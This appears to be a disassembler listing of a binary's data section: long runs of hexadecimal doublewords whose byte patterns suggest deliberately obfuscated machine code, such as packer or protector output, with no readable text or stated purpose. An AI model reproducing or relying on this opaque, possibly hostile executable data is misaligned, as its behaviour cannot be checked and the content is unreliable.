		dd 0A5F1D381h, 0FF84160h, 68Ah,	0BB665100h, 535FC8B4h
		dd 8C356BBAh, 81665B39h, 0F8791CC8h, 0CE860F5h,	0C9000000h
		dd 239C8324h, 0A252B9F3h, 8BA5464Eh, 870F5ECEh,	2, 0E8616160h
		dd 7, 48C8F1B3h, 0E88AD536h, 13h, 31F0B0FAh, 8866E7F5h
		dd 6B50588Ch, 0E03C7FE3h, 66653D94h, 4BF0DB81h,	0F953595Fh
		dd 62BA665Fh, 0FF18B98h, 58Ch, 834DBA00h, 8B6663D4h, 1800FC2h
		dd 0FC000000h, 0AEB96651h, 8B665BB5h, 14E9C3h, 0F44B0000h
		dd 0EAF94005h, 44E27BD7h, 0A54AE936h, 3D291DC4h, 850F4168h
		dd 7, 18D0Fh, 0E9F80000h, 6, 0B414336Dh, 0D4800EA5h, 2C850FC9h
		dd 60000000h, 10E9h, 5ED31500h,	0C7544B8Fh, 10CD591Bh
		dd 1BABB1AFh, 10E93Dh, 477C0000h, 0ADB1D945h, 0ACCC43ACh
		dd 72C27DF0h, 0F5616D90h, 9E960h, 87570000h, 36F8A49Fh
		dd 61EFAB85h, 64DEBB66h, 3870Fh, 0BF0F0000h, 0F38166D8h
		dd 0B8661FA6h, 0FE99499h, 14000000h, 0D705E53Dh, 0E20752FCh
		dd 27F57198h, 800F1910h, 7, 0C1816657h,	0B35BBF38h, 7E9602Dh
		dd 0F2000000h, 56FDEABFh, 0E961A5ECh, 0Bh, 83157B80h, 401CB31Fh
		dd 0F824576h, 128Ah, 0DE900h, 6CAC0000h, 0E0B10E9h, 42CE39F6h
		dd 8A102D17h, 7880FC7h,	60000000h, 0B5D68B66h, 0CE961F0h
		dd 0C6000000h, 92B15B3h, 34F7B93Eh, 0E8C8A42Fh,	5, 0EB030007h
		dd 0C781663Ah, 0F5A930Fh, 0B8Eh, 58C0F00h, 66000000h, 1F14E381h
		dd 5E9h, 0B8E4800h, 0C1B3577Ch,	0DBD38166h, 9E9FC3Eh, 9000000h
		dd 0E3C21471h, 0F5D5C3C4h, 0AFBF66F9h, 0F88A6003h, 0DFB70F61h
		dd 0E9FE8B66h, 0Ch, 0D5618EBEh,	7693E59Bh, 57F4226h, 32B4F5F8h
		dd 0DE9h, 0FDD3E200h, 4A1289C5h, 1C48FE30h, 10E813C7h
		dd 0CA000000h, 0BBA603CDh, 820E1F68h, 398DB3BEh, 8126A3ABh
		dd 49FE1D1h, 8B665A1Dh,	0C1F781C6h, 0E953DE78h,	5, 5730D942h
		dd 81666033h, 0B9E496CFh, 6295BDD8h, 5E861h, 4FAE0000h
		dd 81B03582h, 5C302EEAh, 0C18B590Dh, 226BB60h, 0CE9654Dh
		dd 5E000000h, 0FEA4954Bh, 0DA024854h, 61BD85B8h, 1C56C081h
		dd 8166283Eh, 60D116C0h, 11E9h,	1D31A800h, 2DBE5474h, 168B59B1h
		dd 0F311B58Bh, 8A0FF0C7h, 2, 0F615F57h,	18Dh, 0F60FC00h
		dd 288h, 61EC8A00h, 7924B966h, 10E9h, 0AD042800h, 0F195C641h
		dd 20E6C1BAh, 0CC2D5BA4h, 0E3D98076h, 4685CDBFh, 8A0F1Ch
		dd 0B3000000h, 98E0F16h, 0F000000h, 38Ch, 44DE8000h, 0E9C88B66h
		dd 0Ch,	0AD8EB2A3h, 0D6F9D433h,	1584AE97h, 0BE9h, 0E281F600h
		dd 81FC7C02h, 73AE0CA8h, 0F0DF8166h, 9E99Bh, 0C42F0000h
		dd 36EFB0DFh, 8B3FFC72h, 0DE9CFh, 39BE0000h, 1F562E46h
		dd 0D9F26Ch, 6041D025h,	13E9FCh, 6E250000h, 0C767E313h
		dd 0ADE4A1F4h, 7C6623A1h, 0D7640560h, 0B9516105h, 145B4B82h
		dd 8E859h, 198D0000h, 0FFA73326h, 665066E1h, 5B5FC78Bh
		dd 12E9h, 0D3A2C900h, 0F0F3ACBDh, 5CE57ABAh, 3111235Ah
		dd 0F876B24h, 7E8FFBFh,	0DE000000h, 0ACFA62DEh,	5FB1B766h
		dd 0F6B70F5Ah, 66FA8B66h, 512826BBh, 9E852h, 2EA50000h
		dd 0FD0AB9FBh, 5A557036h, 66605A5Bh, 0E92AF6BBh, 6, 93693310h
		dd 0F613BBAh, 6660F9B7h, 0BBB6F081h, 7E9h, 6E595A00h, 0FC59783Fh
		dd 0E217BE61h, 0BF0F7FD0h, 10D681F2h, 0B779D4F5h, 0DBE8B9C2h
		dd 0CE90E43h, 0DF000000h, 58DC79FDh, 0A9896A00h, 0B5AC3E32h
		dd 5BC08120h, 5709D210h, 0BE9h,	1CE19500h, 1FA9CC2Eh, 18E1F959h
		dd 21BF6658h, 0F5BB515Fh, 582BD4A1h, 42E18166h,	0C081660Bh
		dd 0F7805ED4h, 38F0F81h, 80000000h, 0F281F9F4h,	46630D88h
		dd 0E8D98B66h, 11h, 8BE65AB1h, 0EA64D265h, 9B11AD14h, 0F40F5861h
		dd 8DF180E9h, 0BA13B858h, 810F4C17h, 12h, 5E960h, 23E0000h
		dd 0FE75C40h, 8Bh, 19B06100h, 9E9h, 0DA7CE000h,	132B47F2h
		dd 0C080F92Eh, 6800F63h, 81000000h, 0B2DE73C1h,	0FE93Bh
		dd 91320000h, 7F2F957Ch, 982142E8h, 5FFEB66h, 0AE2BB879h
		dd 0C48048AFh, 4840F98h, 66000000h, 0FC8BDBEh, 28Bh, 0FF18B00h
		dd 584h, 0F5BCB900h, 0BA6634F1h, 66520850h, 0F95BC18Bh
		dd 21F4EA81h, 0AE90C07h, 7E000000h, 51489995h, 0C4436431h
		dd 8D0F5723h, 2, 8B5FDE8Bh, 9E8D6h, 2870000h, 22C8FB6Fh
		dd 0F2E528Dh, 0F5FFBB7h, 1E89h,	12E800h, 0FA5A0000h, 0F3BA9B74h
		dd 71C02BA6h, 716B6E0Dh, 0AA581646h, 8EEFF181h,	805A0653h
		dd 8A6088C2h, 11E9DCh, 26690000h, 0DFDC6683h, 1F66C498h
		dd 0CEADEB7Ch, 6159BDAEh, 0F2B70F60h, 0CE956h, 0AB3F0000h
		dd 7C16C279h, 522D030h,	615ACAAEh, 0DE2CBB66h, 0FFB70F60h
		dd 8161F78Bh, 0D4F732C0h, 12E93Fh, 715D0000h, 17A04D00h
		dd 5C1CBBBh, 658328Bh, 207F37F0h, 13E9h, 1FC4EF00h, 0CE0FB28Ah
		dd 63F27E78h, 6218CF86h, 0B25D74E4h, 11E9h, 0E5D53300h
		dd 0BDA13F6Dh, 7E64A6E2h, 2B1AD546h, 0C281CBC4h, 256BF560h
		dd 0AE9h, 80646000h, 5B53FFC9h,	663A64E2h, 8166C78Bh, 0E88724F6h
		dd 0Fh,	476C6210h, 725ECC75h, 0B1A3EC54h, 666BBCF7h, 0E85FCA8Bh
		dd 12h,	0A9DBB13Fh, 9635604Ch, 492A51D3h, 0C8D6B0F0h, 816614B7h
		dd 5BFA6DEAh, 665850FCh, 6DA5F681h, 0DE9h, 105DF200h, 0D7F0661Fh
		dd 0ACEF181h, 0F9603B4Ch, 7E953h, 9AFE0000h, 0FCD08AB5h
		dd 60615A95h, 0BF66CE8Ah, 666100C0h, 0FDCE81h, 98A0Fh
		dd 8F0F0000h, 3, 0FCC88B66h, 6DE98166h,	0EE95Ah, 0E1870000h
		dd 0F89E4D5Eh, 8901E160h, 0BDDC0C76h, 8AD18B66h, 0EDBA66F4h
		dd 128F0F9Fh, 60000000h, 9E9h, 90BFB800h, 268951F0h, 0E9B0FD23h
		dd 0DE961h, 2AA50000h, 23274E45h, 91B20CCCh
		dd 0FCAC4FCh, 88Dh, 8F0F5100h, 0
		dd 0F38B665Bh, 0FF9B94BEh, 0E0E78003h, 0A51DBB60h, 0FC60033Ah
		dd 6161FA8Bh, 8166AAB6h, 664FB5D8h, 7978DB81h, 2EBB6657h
		dd 66605AF8h, 0B7AB15BAh, 0DF8B614Ch, 170956BEh, 0F2BF0F1Dh
		dd 11E9h, 0A5BA5D00h, 1926CFF4h, 30917E89h, 71A4461Fh
		dd 16B1F929h, 81664CB7h, 0E93B38EEh, 10h, 0F5EA27CFh, 73F1EC42h
		dd 8B0874D1h, 5A5866F7h, 66F88B66h, 0D781F88Bh,	0A683F7Bh
		dd 65E45ABAh, 5820F6Bh,	0BF000000h, 70623C30h, 0E954DE80h
		dd 9, 0A427B90Eh, 59FAE40h, 0F5E781D9h,	0F4DFE0Fh, 285h
		dd 80D5B300h, 0BF6624ECh, 0BE8E76Dh, 0EB000000h, 947905FFh
		dd 1FB37044h, 97B713E3h, 0EAB96058h, 0B3534229h, 0CFBB6140h
		dd 0F288F2Bh, 0F81h, 5E96000h, 2F000000h, 2C458090h, 61C18B66h
		dd 0D08B66FCh, 0A478E881h, 0CE8B2563h, 66D08B66h, 0F686DF81h
		dd 35B4E681h, 0B866653Bh, 0E28A8568h, 0F60C88Bh, 0F08BD7BFh
		dd 0EAC68061h, 7E9h, 0D639AE00h, 989057D7h, 98E0Fh, 60600000h
		dd 0C9816661h, 8161C250h, 0FE24D6F1h, 0D081F50Eh, 53A8519Eh
		dd 47BE6653h, 0BF0F5A68h, 6E8C8h, 0A49E0000h, 66E9BA49h
		dd 11E85Bh, 74240000h, 0F9EF591Dh, 96A80AFh, 9948D15Fh
		dd 0E878ADC5h, 0Ah, 92BED3F5h, 312A6908h, 0B966306Fh, 5F5ADD90h
		dd 0FD38B66h, 28Dh, 0FFE8B00h, 0BE9F7B7h, 0EA000000h, 43CBEDCEh
		dd 0E444C8DDh, 0F516DE6h, 505FFEB7h, 2AC5DE81h,	0F55F034Bh
		dd 8119F781h, 6E971A0h,	0BA000000h, 0C83D4961h,	11E9F824h
		dd 0EA000000h, 0BD1DF00Ch, 0F31FC306h, 6F06D1F5h, 9798287Fh
		dd 5C07B866h, 0E9F78B66h, 0Bh, 0D837C39Eh, 0DA0CF444h
		dd 66413722h, 0E9FB3BBBh, 0Fh, 273F43CDh, 0EDCAABDAh, 0C3E5CB4Fh
		dd 663B0884h, 12E9F98Bh, 0E6000000h, 0BACC11A4h, 0AAF24F9Eh
		dd 0BED05CBBh, 0EB44EDF1h, 9E9B5h, 0B67E0000h, 0B1790802h
		dd 0E9A9F8CDh, 0Ah, 0D1EC2261h,	0EB15F3BFh, 0E9F5D944h
		dd 0Dh,	5EDBB0ABh, 0C877E07h, 14E5821Fh, 32D38196h, 6623C59Ah
		dd 0BE8D98Bh, 0AC000000h, 0A09E05D2h, 9374723Eh, 81663417h
		dd 5884DAC7h, 14E9h, 61AA8000h,	0C1C05B59h, 8F3497ACh
		dd 64661C1h, 0B83BAD46h, 0E281663Ch, 0D48A67D0h, 0F8DADE81h
		dd 66562906h, 59C230BFh, 8BFE8B66h, 0F60F5D6h, 68Fh, 43EA8100h
		dd 617F238Dh, 0B05ACA80h, 12E874h, 35E50000h, 0AFE915F9h
		dd 0E59C6D30h, 2EDC874Eh, 0E8BC068Ch, 9594B966h, 0B966F95Bh
		dd 14E9C796h, 90000000h, 0F69FC960h, 0B39CF318h, 0C082F08Bh
		dd 0B7341FAEh, 0E96BF660h, 0Dh,	0E699DB41h, 3FFAA7C8h
		dd 0FF7B3294h, 5EF28015h, 0D881D08Bh, 158874C4h, 9E96AB2h
		dd 42000000h, 61BFED5h,	10254001h, 5810Fh, 81660000h, 667C72E9h
		dd 0FCE06BAh, 8F0FFFBFh, 1, 0CE8B66F5h,	0FDA1BA66h, 7276E181h
		dd 8B661E93h, 0EE8CEh, 8FF30000h, 86557596h, 0E4CF8259h
		dd 7CB9B5C3h, 0DA816658h, 41B30BE9h, 0F281F28Bh, 3933AC9Ch
		dd 80D0B70Fh, 8166E5F0h, 6010D0EFh, 0D2BF0FF8h,	84BF6661h
		dd 0CE96Ah, 9F0C0000h, 78A008D3h, 3F6C3AD0h, 6060D716h
		dd 6E9h, 0C6BE9F00h, 810904C4h,	371410C9h, 61F86175h, 0D3A9D881h
		dd 0E95675F3h, 7, 2AED27A8h, 5FCAD85Dh,	0C78BD78Bh, 10E9h
		dd 28DCA900h, 19B30ACFh, 0D3CC78DCh, 0D6AF5FA7h, 1840FBDh
		dd 0FC000000h, 0F6816652h, 565ECB5Eh, 2DD7DDBFh, 0BF0F5870h
		dd 0D2B966DEh, 7E99Bh, 0DF360000h, 24064432h, 0D18B60C6h
		dd 6134C380h, 0B860Fh, 8C0F0000h, 5, 0C040E3B8h, 0F9F28B35h
		dd 0EB8F860h, 61320819h, 0BFD08B66h, 152126E4h,	66D6B70Fh
		dd 6651FE8Bh, 5ED6D5B9h, 5079C080h, 1FBB665Ah, 60DA8B25h
		dd 0F5E7BB66h, 28E0Fh, 0FB8B0000h, 0FEBF0F61h, 0C3EB8060h
		dd 9E9h, 243DCD00h, 82D050B7h, 0F619AE0h, 8Ah, 0B6F38A00h
		dd 10E8FBh, 0D6A80000h,	527BE7F0h, 0B2B21FFCh, 62D159C7h
		dd 0B70F8FA3h, 0F98A5BD7h, 0E591F181h, 0BE931CBh, 99000000h
		dd 5941D68Bh, 142982FBh, 0BF0F96BAh, 5860FCFh, 66000000h
		dd 746FCA81h, 6800Fh, 0CE810000h, 76A64E4Fh, 9FF61ABBh
		dd 94B86036h, 0BA538467h, 621378D0h, 0D18B6661h, 0E081C68Bh
		dd 4A0680BEh, 0E960DEB3h, 0Eh, 0A66A274Fh, 479A207Ch, 2D98AEC3h
		dd 8B60745Bh, 666161C7h, 8160F18Bh, 20C4E0D7h, 8E877h
		dd 0E7EE0000h, 617763D9h, 0BF0FAE1Ch, 81615FC6h, 0E906BEDBh
		dd 0EE86Eh, 7E460000h, 8BF1B4B0h, 0EE5B8FEEh, 91FCEC5Fh
		dd 820F5EF9h, 18h, 12820Fh, 0DE90000h, 4000000h, 5620E86Dh
		dd 0DF80AAE9h, 818CFF9Ch, 0EB816660h, 14E8E16Ch, 1F000000h
		dd 40379BCFh, 0EB394D3Bh, 20732C8h, 55E828EFh, 0FE0F1BBh
		dd 8Dh,	66615B00h, 81036EBEh, 3C208ACFh, 0E8CE8B02h, 13h
		dd 4E366322h, 0AF0DB892h, 0D4845D4h, 0BD775FBFh, 662390E8h
		dd 330CB81h, 7E959h, 90D90000h,	8B091E0Ah, 6EB260E6h, 505A5260h
		dd 0FC616159h, 2860FF9h, 8B000000h, 4E51BED6h, 14E91D91h
		dd 35000000h, 8C9911BBh, 0F374129Bh, 4D6F84B8h,	0C4CC5B25h
		dd 0F9B2641Ah, 0A6D08166h, 0BE96034h, 3000000h,	6C0DCF21h
		dd 686B57B8h, 0EC80DEEFh, 0C4B1618Ch, 0CE9h, 96202800h
		dd 96DA68D0h, 0EB20738Ah, 8B66F921h, 8B6660C6h,	8B61FCCBh
		dd 7850FF7h, 60000000h,	9530B866h, 0DF8161F8h, 4CCE4BF2h
		dd 0F88B6650h, 10E85Eh,	870A0000h, 65344558h, 6237FDE5h
		dd 3650CD19h, 8060ABADh, 0D08BF6EEh, 0BF535F61h, 3503BCA8h
		dd 0F18B665Ah, 0FF18BF8h, 8B66C7BFh, 0B20FB5CEh, 0EF816616h
		dd 0BF66A600h, 0BE9C95Fh, 69000000h, 8DFB5228h,	51D9A591h
		dd 6EB301B0h, 8166D48Ah, 669CEEEBh, 0E91D58BEh,	9, 4FC49FE7h
		dd 2BE86E38h, 0F0E28172h, 0F097D7Ah, 0B966C1BFh, 8166C81Dh
		dd 0E8C52AD3h, 13h, 0F94D7B18h,	14DEB83Dh, 6F40EBF1h, 0B820AA09h
		dd 8ADE222Bh, 0E9F95AF9h, 12h, 132FB9C6h, 0D10D52D2h, 0C699FB4Eh
		dd 30B4E1BDh, 0F2805BB8h, 8B0FFEh, 0E9000000h, 0Eh, 25243BE9h
		dd 0BA9A350Ch, 4D72215Ch, 8B66588Ah, 720BB8C7h,	8B660334h
		dd 5EF950F1h, 14E9h, 0B26A7B00h, 0B8EF922Fh, 32967240h
		dd 3DDAC975h, 0B5F35F1Bh, 0E2B0BFE9h, 0CE8B786Dh, 0FD98B66h
		dd 580h, 0B1E2B800h, 0DE812FEAh, 714866CCh, 1A06BF66h
		dd 5810Fh, 17BB0000h, 0F38C375h, 0C8Ah,	6850F00h, 81000000h
		dd 423EB3D0h, 850F6009h, 0
		dd 346CE781h, 0F9614C09h, 880F60F5h, 0
		dd 61FEBF0Fh, 5CD64B8h,	9369BF18h, 665128C6h, 0BB19D281h
		dd 2850F5Eh, 8B000000h,	6BFAB9D8h, 8B664DD7h, 12E9C7h
		dd 0C9000000h, 3F85827Fh, 9F86B349h, 7D95BAADh,	0BD588FD5h
		dd 0E5E28166h, 4FF7BFE2h, 0C280029Fh, 8E973h, 2AD70000h
		dd 1553219Fh, 0AE8BA4Bh, 36000000h, 39227C88h, 5ABF2252h
		dd 5F565824h, 60CEBF0Fh, 0EE7FD2B8h, 0D68B5339h, 0B966615Ah
		dd 870F4BF6h, 5, 0BEC88166h, 0F7BF0F28h, 30F78166h, 6EEE80C6h
		dd 66CFB70Fh, 0BA66D18Bh, 0BA6695FDh, 8B60431Fh, 0EE8CBh
		dd 0E700000h, 7311350Dh, 23D188F1h, 760D89D6h, 0BC67CA81h
		dd 615E734Ch, 11E9h, 0B2DC800h,	89BB8DD5h, 7F7CF378h, 920A2C9Fh
		dd 6660DFFCh, 0CC34D281h, 8F8FF681h, 66613D3Eh,	0D575F081h
		dd 668BDB80h, 0B7F9DA8Bh, 2FBF66CAh, 0DE8C7h, 9A160000h
		dd 332F59DDh, 9F4EF5Eh,	0B945C6F1h, 0E278562h, 0CE85Eh
		dd 0A9E90000h, 5B793252h, 0DF8355A0h, 52B80E79h, 5968E78Dh
		dd 8E8h, 0E84E2C00h, 5598460Bh,	58CF8BABh, 6830Fh, 0EB810000h
		dd 1A39C1E8h, 0BFCAB70Fh, 664D1066h, 0F18BC38Bh, 0C7A9CB81h
		dd 9E9261Ch, 3E000000h,	0DC27E18Eh, 0A5B2584Eh,	830FF38Ah
		dd 3, 0BFFFB70Fh, 4ED34A5Eh, 5850F60h, 66000000h, 10CCD981h
		dd 0E09BBE66h, 57D6BE61h, 606026ECh, 5F0EBB8h, 61F8615Ch
		dd 8A5CE0BBh, 0FF96065h, 287h, 615B5200h, 2A7568BEh, 5E915h
		dd 0FCB60000h, 0E8FDF483h, 6, 11242739h, 14E9684Ch, 0CD000000h
		dd 0C6E07EF6h, 0D5CC606h, 2188612Bh, 8D3B80E6h,	58A99C51h
		dd 0CE8h, 0B3BF9100h, 55EA87BCh, 49D20885h, 15E2B948h
		dd 0B25F58CFh, 8E9ACh, 85640000h, 1ABE8BA1h, 0CB8078C6h
		dd 6021B747h, 78DBC181h, 0CB8A6F65h, 1BF78061h,	53FBB70Fh
		dd 58C6BF0Fh, 28A0Fh, 1CB20000h, 0D8C78166h, 0E94DB28Eh
		dd 9, 952AD556h, 65F7A0EDh, 14E986h, 2A7B0000h,	76C428DBh
		dd 433B4E11h, 0AD6E2CDh, 0FAE0A264h, 0DE8A6A2h,	85000000h
		dd 0DA7E90EDh, 9E8F6B4Ch, 0B256CB8Ah, 0E3815FFCh, 5A289394h
		dd 0AE9h, 7B935800h, 3EB8ABEh, 666B5CA4h, 5E9DE8Bh, 0ED000000h
		dd 0DF52843Dh, 4880Fh, 0BF660000h, 8E835F9h, 1C000000h
		dd 0E7395180h, 0F80F807Ah, 5ABA665Ah, 0EAD6817Ah, 0F355989h
		dd 870FDFB7h, 6, 8A0Fh,	860F0000h, 7, 1840Fh, 0BFFC0000h
		dd 19146AA8h, 66A7EC80h, 0E952CF8Bh, 10h, 0E86AA911h, 8D5C4687h
		dd 0A4112CDCh, 9CCBC83Ah, 0D7E5805Bh, 369EC8BAh, 0B70F6013h
		dd 0C2BF0FCBh, 13E961h,	51140000h, 7C9921E5h, 20EFCA5Dh
		dd 4032A357h, 9F3A352Ch, 0B5606031h, 0C6F18100h, 6141F143h
		dd 8BF38B61h, 0BE8F1h, 945E0000h, 239AB443h, 0D17684D1h
		dd 59CAB101h, 58F0F51h,	0BF000000h, 0ED5A1E9h, 0F47B658h
		dd 0F50FEBFh, 688h, 0F3E88100h,	59350C14h, 0F3E78160h
		dd 562D0E55h, 615AC68Bh, 0B70FF48Ah, 5AF552C3h,	0FD0BF0Fh
		dd 8B0FC2B7h, 0
		dd 8870Fh, 880F0000h, 2, 0B70FE58Ah, 0C58A60F8h, 0C9BF0F61h
		dd 0C7B8BE66h, 0F9FBB70Fh, 8BC68B66h, 7CC980F8h, 0DE9h
		dd 61BA9100h, 24C83D49h, 755FC10h, 8F0FE9BFh, 1, 0E8CE8BF5h
		dd 14h
dword_612D20	dd 5A5FACC9h, 287C6E44h, 0A8541EEFh, 70B744E9h,	745CFFECh
					; DATA XREF: ___:off_4455E8o
		dd 1880Fh, 5AFC0000h, 8A0FD38Bh, 19h, 14E9h, 10192F00h
		dd 11C3201Bh, 20103851h, 30B83FAEh, 6BF375FCh, 4FCF81C4h
		dd 811F6AF6h, 9FB854E1h, 7E969h, 87F70000h, 1D4981FFh
		dd 0E933B3DCh, 0Bh, 2CBF24C5h, 0AF60862Ah, 0E83F4F01h
		dd 0Bh,	0A11F41A4h, 0D573B59Dh,	66FF45A5h, 0E65ED781h
		dd 0F3EB65Fh, 485h, 41B96600h, 0DE8B6624h, 0FCE8B66h, 587h
		dd 0C39CBE00h, 14E95331h, 60000000h, 84C0F8FEh,	97356337h
		dd 0ABFF9107h, 6DE5AB9h, 0BE0A45AEh, 43EC037Eh,	1A8F0Fh
		dd 0FE80000h, 4A000000h, 4E443A78h, 454D8FF0h, 2993C617h
		dd 8166D99Bh, 58956DEEh, 8ABDE080h, 8F0F60E2h, 0
		dd 6061C88Bh, 5E9h, 1EA20200h, 6E8F9D1h, 82000000h, 0C1EA3B47h
		dd 880F36h, 59000000h, 3DD58061h, 0D9EE8156h, 5E224CC4h
		dd 81D68B66h, 0EB348FE9h, 81CA8A64h, 0D7EDCCE0h, 0C8E0F40h
		dd 0F000000h, 686h, 0ACF68100h,	8B7F1FB7h, 51D18BC1h, 5EC18B66h
		dd 13810Fh, 0EE90000h, 0E1000000h, 0EC0C2698h, 76FA4C1Bh
		dd 4F794EBFh, 0FF98BA7h, 8B0FFFB7h, 12h, 0BE8h,	0C29E9700h
		dd 15A65595h, 0F1BA0100h, 60F95AF5h, 0E8CFBF0Fh, 8, 462EB6F2h
		dd 3F27CA05h, 87244FB8h, 66615811h, 48ACF081h, 44AFBE66h
		dd 5F1CB450h, 1860Fh, 50F90000h, 5FD0B70Fh, 0F18B6660h
		dd 8E0Fh, 60610000h, 1840Fh, 0FF90000h,	0E961F8B7h, 8
		dd 2FD0B3h, 3E64669Bh, 9E892B7h, 9F000000h, 0E08E8FDBh
		dd 752FEBF6h, 5E30D680h, 66F92FB6h, 8166DF8Bh, 513F7EC3h
		dd 0DE9h, 194E1F00h, 0A0038E1h,	253B18EEh, 0B6585339h
		dd 5810FB1h, 0BB000000h, 413A76FAh, 81605957h, 4A0480D2h
		dd 0AE96003h, 0D2000000h, 61E00F04h, 5B3F87B7h,	12E93Eh
		dd 93060000h, 0AFD03369h, 0D0F38CF1h, 0EAFDD6EFh, 389F2B33h
		dd 0EFBB6161h, 0B8506CA9h, 0C48655Ch, 9315BB66h, 66F08B66h
		dd 0E3A5D681h, 0CB8B6660h, 61F6D380h, 0B5CE8166h, 0DE96059h
		dd 26000000h, 671AD93Ch, 23A9A814h, 961EA16Eh, 0C7D88166h
		dd 0F38161A0h, 2FB48194h, 0E9F8D38Bh, 5, 614D732Dh, 0C8B70FDAh
		dd 4800Fh, 50530000h, 820F595Bh, 4, 5AF08B51h, 46C88166h
		dd 0F08B75Fh, 2084h, 14E800h, 14700000h, 8010D8F3h, 8FD21EC5h
		dd 3FEFEF1Fh, 3DF16E33h, 800F8FE0h, 0
		dd 0F8C7815Eh, 6077A401h, 21ECD681h, 816603B4h,	611501D7h
		dd 9E8h, 0C31C2400h, 3629E42Dh,	0CB8174C4h, 76361C05h
		dd 10E85059h, 48000000h, 0C4674AE3h, 0A9105757h, 74315BBh
		dd 66BCCD4Dh, 2F63C781h, 11E95E5Fh, 0AF000000h,	0C3715E3Dh
		dd 0C3B043B0h, 0A0EEC2E1h, 0D5AED6EEh, 0BEF2B70Fh, 7F83C275h
		dd 0A2E98166h, 0FE826h,	7D280000h, 0D9078FCAh, 0FB2898C3h
		dd 3CC90FE3h, 7E98Ah, 2ED50000h, 0EE25DEABh, 11E858C1h
		dd 37000000h, 9C10848Bh, 3CEF563Eh, 861D3B70h, 0FDC04751h
		dd 0AE9h, 23431100h, 0DD6DA388h, 5A964442h, 66CF8B66h
		dd 56C659B9h, 8B5973B6h, 60A4B4CFh, 5060D78Bh, 0FE958h
		dd 3BC80000h, 548529F5h, 320148E9h, 3FFE1146h, 66616148h
		dd 0BF0FC38Bh, 0AE9D6h,	0CA980000h, 9E2703DCh, 0B03D4152h
		dd 8E0Fh, 0BA600000h, 1D5F7038h, 13E9h,	0E3349B00h, 0A46B1316h
		dd 0DB79B2C4h, 53926B91h, 6083085Ch, 14E961h, 0A7340000h
		dd 0DBFD6126h, 0F0450C55h, 0F4DCB5FCh, 4914D6E4h, 5E9054Ah
		dd 0F1000000h, 0F35CBFFh, 7F34F181h, 0E0811604h, 3BD2D365h
		dd 1B8449B9h, 0FF8F84Eh, 187h, 8B66FC00h, 9AF080CEh, 42E6EBB8h
		dd 0BE813h, 0B38F0000h,	4E134B0Ch, 742BEA45h, 3ED981EAh
		dd 594BF78Eh, 60B9F38Bh, 0BB0637C9h, 3882B83Eh,	28C0Fh
		dd 59520000h, 68D0Fh, 0F1810000h, 13773C8Ch, 0BE9h, 0EC52CB00h
		dd 17CA55E1h, 0EDB797E5h, 9476BF66h, 8166C18Bh,	0F2065E6h
		dd 0F781D7B7h, 24F4FCD8h, 58E0Fh, 81660000h, 0E99B25D7h
		dd 9, 0A1DAA5C8h, 2D3CFA52h, 0D0BA6617h, 78E18190h, 0F54F0858h
		dd 0B953D18Bh, 0CFCCFB0h, 0ACE0815Bh, 666BA7A8h, 80FEA7B9h
		dd 8B60D8C7h, 29E281D1h, 617E5455h, 0B95341B6h,	1333E162h
		dd 0DFB70F5Fh, 44CCBA66h, 58D0Fh, 66520000h, 0E858D18Bh
		dd 0Ch,	0B614C5D6h, 0CC96C448h,	0FCB21931h, 0D38B505Ah
		dd 0D18159h, 52113373h,	59C1B70Fh, 0AD88166h, 0FCBA66FFh
		dd 11E9ACh, 0CCB50000h,	27CF5B1Eh, 0EC42F5EAh, 74D173F1h
		dd 0FF78B08h, 28Ah, 81CA8B00h, 0B035A8F0h, 1820F5Eh, 0F9000000h
		dd 6E8h, 0D13EF100h, 6682CC99h,	585FE6BEh, 50FA8B66h, 58D1BF0Fh
		dd 8109C480h, 0C339FFDAh, 5DBBF97Dh, 0F604B79h,	382h, 0F6DD8000h
		dd 0AE9h, 0A5EA3700h, 0A9904EA4h, 666FE43Bh, 3506D181h
		dd 1870Fh, 8BF90000h, 0FE8B66F7h, 93E88166h, 0FD08B63h
		dd 87h,	0FCE78000h, 66D38B66h, 840DE081h, 346DDB81h, 0E7BF0CCCh
		dd 0F111A8Bh, 0CA80FFB7h, 880F5339h, 10h, 0BE9h, 0C1ED5C00h
		dd 501A18D7h, 0C1DF1BBDh, 0E6F6815Fh, 513F7667h, 0E85ED38Bh
		dd 14h,	0AB873386h, 0B7365AE1h,	0E4C4A642h, 0C7203F66h
		dd 701B4057h, 7E9h, 13B5BD00h, 77F34130h, 0BE858h, 32DF0000h
		dd 0C6240644h, 0F5CF9952h, 0DE995h, 43950000h, 1B2A3B87h
		dd 8C92392h, 58D8CF46h,	17870Fh, 12E90000h, 70000000h
		dd 0D3405F32h, 0D17753DBh, 51467290h, 2E70A987h, 0E810FD8h
		dd 0E9000000h, 9, 6D5272C4h, 0DF537B6h,	8141B3AAh, 8D036DC6h
		dd 0BEBF661Ch, 7E988h, 711C0000h, 8D769851h, 6E95Eh, 3BAB0000h
		dd 4D3DECCEh, 0BAF88B60h, 70A87EFCh, 8BD28061h,	12E9h
		dd 0AAA30F00h, 0A0637402h, 8D71404Dh, 4D0CDD1Fh, 66EB8474h
		dd 8166CB8Bh, 0E99AECDBh, 13h, 0D52F4BE8h, 0E2CA339h, 936BA091h
		dd 647E7BCh, 660F4575h,	0CE9CA8Bh, 0A3000000h, 2E528C2h
		dd 0E534415h, 5372FDAEh, 1FBA5AF5h, 816E68B9h, 0AC19CE2h
		dd 0F080F939h, 66BE66A6h, 8BCE8181h, 0E802384Ah, 0Ah, 0E2AB729Fh
		dd 3FB6E514h, 6660E470h, 61A351BFh, 0F08B665Bh,	40C4BA66h
		dd 0C969D7BFh, 8D0F607Eh, 3, 6146E980h,	0ED80CB8Bh, 0D88166A7h
		dd 0D1B05E45h, 93361DB9h, 38D88063h, 0EB816653h, 0E95F0365h
		dd 6, 57CF8BA0h, 5B5698B8h, 0F5F88BFCh,	0E9E4D480h, 11h
		dd 7BA4C058h, 0DAF57279h, 0D1855491h, 6BAF6AF6h, 0D78B66E0h
		dd 7E960h, 54D00000h, 0C3600A0Ah, 8B6660D1h, 0B36161F3h
		dd 0DAB70FD6h, 8B66F9FCh, 0E9C28BD8h, 0Ah, 0CB5798E8h
		dd 905E7ACDh, 9E93D99h,	0EA000000h, 9B11AD14h, 0F40F5861h
		dd 3840Fh, 8B660000h, 13E8D7h, 650D0000h, 4850DF24h, 2DDFD7AEh
		dd 0CC569D88h, 4FD66171h, 26D3813Ah, 5974F87Eh,	66C28B66h
		dd 0B8CE6BB9h, 1900A73h, 28D0Fh, 9FB10000h, 4FBB6652h
		dd 13E85A2Dh, 0E9000000h, 0B409F102h, 78708398h, 0E7DE9D80h
